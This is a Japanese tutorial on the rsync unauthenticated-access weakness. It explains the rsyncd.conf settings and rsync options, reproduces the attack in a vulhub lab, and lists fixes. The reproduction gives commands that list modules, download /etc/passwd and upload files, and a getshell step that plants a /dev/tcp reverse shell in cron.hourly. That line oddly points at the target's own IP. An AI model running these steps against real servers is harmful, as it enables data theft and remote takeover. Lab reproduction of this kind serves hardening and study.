1. 脆弱性の概要#
rsync は、Linux/Unix で使用されるリモートデータ同期ツールであり、ホスト間でファイルとディレクトリを同期することができます。デフォルトでは、ポート 873 で実行されます。設定が不適切なため、誰でも rsync に未承認でアクセスし、ローカルファイルをアップロードしたり、サーバーファイルをダウンロードしたりできます。
rsync による未承認アクセスの影響は、次の 2 つが主なものです:
- 深刻な情報漏洩の引き起こし
- スクリプトバックドアファイルのアップロードとリモートコマンド実行
2. rsync の設定ファイル#
パラメーター | 説明 |
---|---|
uid | このパラメーターは、このモジュールとのファイル転送に使用されるユーザー名またはユーザー ID を指定します |
gid | このパラメーターは、モジュールへのアクセス時に使用される 1 つ以上のグループ名 / ID を指定します |
use chroot | true の場合、rsync はファイルを転送する前に、path パラメーターで指定されたディレクトリに chroot します。これにより、追加のセキュリティ保護が実現されますが、root 権限が必要であり、path の外部を指すシンボリックリンクのバックアップはできません |
max connections | このモジュールの最大同時接続数を指定して、サーバーを保護します。制限を超える接続要求は、後で再試行するように通知されます |
syslog facility | rsync が syslog にメッセージを送信するときのメッセージレベルを指定します |
pid file | rsync のデーモンプロセスは、指定されたファイルに PID を書き込みます |
log file | rsync デーモンのログファイルを指定し、ログを syslog に送信しないようにします |
path | このモジュールが rsync サーバー上の同期パスを指定します。このパラメーターは必ず指定する必要があります |
comment | モジュールに説明を指定し、この説明はモジュール名とともにクライアント接続でモジュールリストを取得したときにクライアントに表示されます |
read only | クライアントがファイルをアップロードできるかどうかを指定します。true の場合、アップロードは許可されません。false であり、サーバーディレクトリに読み書き権限がある場合、アップロードが許可されます |
auth users | 認証ユーザーを指定します。設定しない場合、デフォルトではパスワードは必要ありません。設定すると、セキュリティが向上します |
secrets file | パスワードファイルを指定します。認証ユーザーを設定する場合、この項目を設定する必要があります。パスワードのパーミッションは 400 に設定します |
hosts allow | アクセスを許可するホストを設定します。ネットワーク範囲または複数の IP アドレスをスペースで区切って指定できます |
3. rsync の一般的なコマンド#
-a, --archive アーカイブモード。再帰的にファイルを転送し、すべてのファイル属性を保持します。-rlptgoDと同等です(-Hは含まれません)
-v, --verbose 詳細な出力モード
-r, --recursive サブディレクトリを再帰的に処理します
-l, --links シンボリックリンクファイルを保持します。このオプションを使用すると、同期されたファイルは以前のシンボリックリンクの属性が変わらないままになります
-H, --hard-links ハードリンクファイルを保持します
-p, --perms ファイルのパーミッションを保持します
-t, --times ファイルの時刻情報を保持します
-g, --group ファイルのグループ情報を保持します
-o, --owner ファイルの所有者情報を保持します(スーパーユーザーのみ)
-D デバイスファイルと特殊ファイルを保持します(スーパーユーザーのみ)
-e, --rsh=COMMAND rshの代わりに使用するシェルプログラムを指定します
-z, --compress ファイルの転送時に圧縮処理を行います
--stats 特定のファイルの転送状態を表示します
--progress 転送中に転送の進行状況を表示します
--timeout=TIME 同期中のIPのタイムアウト時間(秒単位)
--exclude=PATTERN 同期時に除外するファイルまたはサブディレクトリを指定します(同期する必要のない単一のファイル名またはサブディレクトリを指定します)。複数のファイルやサブディレクトリを除外する場合は、複数の--excludeを使用します
--exclude-from=FILE 同期時に除外するファイルまたはサブディレクトリを指定します。ファイル(たとえば/root/exclue.txt)を指定し、同期しないファイルやサブディレクトリを/root/exclue.txtに記述します
--include=PATTERN 転送するファイルの一致パターンを指定します
--include-from=FILE FILEから含まれるルールを読み取ります
--copy-unsafe-links SRCパスツリーの外部を指すリンクファイルをコピーします
--safe-links SRCパスツリーの外部を指すリンクファイルを無視します(デフォルト)
--existing 受信側に既に存在するファイルのみを更新し、新しく作成されたファイルはバックアップしません
--ignore-existing 受信側に既に存在するファイルを無視し、新しく作成されたファイルのみをバックアップします
-b, --backup 変更がある場合、ターゲットディレクトリ内の古いバージョンのファイルをバックアップします
--backup-dir=DIR -bと組み合わせて使用し、バックアップされたファイルをDIRディレクトリに保存します
--link-dest=DIR ファイルが変更されていない場合、DIRを基にハードリンクファイルを作成します
--delete 受信側に存在し、送信側に存在しない余分なファイルを削除します。これは、rsyncが増分方式でフルバックアップを行うための最適な選択肢です!!!!!
--delete-before 受信側の出力前に削除操作を実行します。つまり、まずターゲットディレクトリのファイルをすべて削除し、次にソースディレクトリのファイルをコピーします。これは、rsyncがターゲットディレクトリをソースディレクトリと同じ状態に保つための方法です!!!
--delete-after 同期操作の後に比較を行い、受信側に存在し、送信側に存在しない余分なファイルを削除します
--delete-excluded このオプションで指定された除外ファイルを受信側のディレクトリから削除します
--ignore-errors I/Oエラーが発生しても削除を実行します
--partial 完全に転送されなかったファイルを保持し、再転送を高速化します
-P --partial --progressと同等
--delay-updates 更新中のファイルを一時ディレクトリ(デフォルトは ".~tmp~")に保存し、転送が完了した後にターゲットファイルを更新します
-q, --quiet 簡潔な出力モード
-h, --human-readable ファイルサイズを読みやすい単位(K、Mなど)で表示します
-n, --dry-run 転送されるファイルを表示します
--list-only コピーせずにファイルを一覧表示します
--rsyncpath=PROGRAM リモートサーバー上のrsyncコマンドのパスを指定します
--password-file=FILE パスワードを入力するためにファイルから読み取ります。パスワードを入力するためにターミナル上で入力するのを避けるために、通常はcronでrsyncサーバーに接続するときに使用します
--version バージョン情報を表示します
--port=PORT 他のrsyncサーバーポートを指定します
--log-format=formAT ログファイルの形式を指定します
--password-file=FILE FILEからパスワードを取得します
--bwlimit=KBPS I/O帯域幅を制限します(秒ごとのKバイト)
--help ヘルプ情報を表示します
-4, --ipv4 IPv4を使用します
-6, --ipv6 IPv6を使用します
4. 脆弱性の再現#
4.1 攻撃対象のセットアップ#
vulhub の攻撃対象を使用してこの脆弱性を再現します
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/rsync/common
sudo docker-compose up -d
4.2 nmap を使用してターゲットシステムが rsync サービスを開いているかどうかをスキャンする#
nmap を使用してターゲットシステムが rsync サービスを開いているかどうかと脆弱性スキャンを実行します
sudo nmap -p 873 192.168.110.128
sudo nmap -p 873 --script rsync-list-modules 192.168.110.128
4.3 サーバーの同期ディレクトリをリストアップする#
rsync コマンドを使用してサーバーの同期ディレクトリをリストアップおよび表示します
rsync 192.168.110.128::
rsync rsync://192.168.110.128:873/src
rsync 192.168.110.128::src
4.4 任意のファイルのダウンロード#
/etc/passwd ファイルをダウンロードできます
sudo rsync -av 192.168.110.128::src/etc/passwd ./
4.5 任意のファイルの書き込み#
サーバーにファイルをアップロードします
sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt
sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt
rsync rsync://192.168.110.128:873/src
4.6 任意のファイルの書き込みとダウンロード機能を使用して getshell する#
sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./
sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell
rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly
nc -lvp 8888
5. 脆弱性の修正#
- rsync のデフォルト設定ファイル /etc/rsyncd.conf を変更し、次のパラメーターを追加または変更します:
- アクセス制御;host allow を設定して、アクセスを許可するホストの IP を制限します。
- 権限制御;read only を設定して、モジュールを読み取り専用に設定します。
- 認証;auth、secrets を設定して、認証に成功した場合にのみサービスを呼び出せるようにします。
- モジュールの非表示化;list を設定して、モジュールを非表示にします。